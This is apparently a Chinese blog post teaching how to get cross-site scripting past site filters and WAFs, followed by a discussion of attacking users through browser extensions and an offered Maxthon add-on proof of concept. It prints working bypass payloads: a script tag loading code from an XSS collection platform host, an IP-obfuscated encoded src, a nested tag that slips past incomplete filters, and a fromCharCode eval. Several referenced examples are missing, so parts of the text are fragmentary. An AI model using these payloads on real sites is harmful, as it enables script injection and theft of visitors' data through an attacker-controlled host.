- A+
Unicode编码之所以被本文提到,因为有的站点过滤了某些字符串的话,但是发现这个站点在后端验证字符串的时候,识别unicode编码,那我们就可以把我们的攻击代码来改成unicode编码形式,就可以绕过站点的过滤机制了。
HTML编码的存在就是让他在代码中和显示中分开, 避免错误。他的命名实体:构造是&加上希腊字母,字符编码:构造是&#加十进制、十六进制ASCII码或unicode字符编码,而且浏览器解析的时候会先把html编码解析再进行渲染。但是有个前提就是必须要在“值”里,比如属性src里,但却不能对src进行html编码。不然浏览器无法正常的渲染。
例如:
可以正常显示。
但是当你把src或者img进行html编码就不行了,例如:
这个不是太常用。就是/斜杠加上1-6位十六进制
之前在IE5之前都可以用expression来调用js时,这个编码很有用。现在大多都是用于CSS小图标。
网站检测script标签里的src值是否为网站(关键字有http&https&com&cn&net&&js)
那我们该怎么绕过呢,看下面的实例代码:
src="http://xss8.pw/bgFfBx?1419229565"></script>
打开审查元素——网络,我们成功的看到了我们的JS被加载了
XSS平台里也获取到了。
<script%20src%3D"http%3A%2F%2F0300.0250.0000.0001"><%2Fscript>
<scr<script>rip>alalertert</scr</script>rip> (需要利用waf的不完整性)
<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 120, 115, 115, 39, 41))</script>
woaini>
alert(123)
</script
woaini>
我之前在
即使你网站做的再安全,WAF再怎么完整。我利用插件照样可以绕过。插件的有它的特殊性,也是这个特殊性成就了他的安全问题,那就是“跨域”。
我在里说下插件是如何渲染到页面的:
当然了,也有很多人会说,我安装安全健康绿色无污染的插件不就不怕了吗。
楼主说的十分有理,只不过你忽视了插件本身的安全问题,我之前所说的都是利用插件的特殊性来完成攻击,可是我并没有说插件本身的安全。
这时恐怕又有人质疑了,插件即使不安全,那也需要用户输入特殊的字符串里完成攻击,你这不就是在自己插自己么。
我所说的插件安全问题指的不是这,而是控制插件的数据流。因为插件的安全问题本身就没多大的利用价值,大多数时候都是自己插自己。
假设有一个在线翻译的插件,鼠标滑词,自动翻译。而这个技术就需要利用到AJAX,而AJAX利用的就是厂商提供的API,而API很多时候都在二级域名,安全性相对来说就比较低了。如果控制API了,那么就可以控制API发送给插件的数据流,从而达到攻击。
流程图就是下面这样:
当然了,不止API,有的插件还调用了外部的JS、CSS、iframe(HTML)等,我们也可以控制他们里来完成攻击。
为了让大家感到插件问题是时候注意下了,我放出一个小漏洞吧,之前在JSEC沙龙演示过的。危害不算太大,不过让大家从此注意插件问题应该够了。
双击ceshi.mxaddon文件就行了(需要安装遨游浏览器)。ceshi目录里是源代码,def.json是遨游插件漏洞(打开遨游插件管理页面,就会弹窗。Test.js也就是我这节说的。当你打开任何网站的时候,他都会弹窗)。
- 我的微信
- 这是我的微信扫一扫
- 我的微信公众号
- 我的微信公众号扫一扫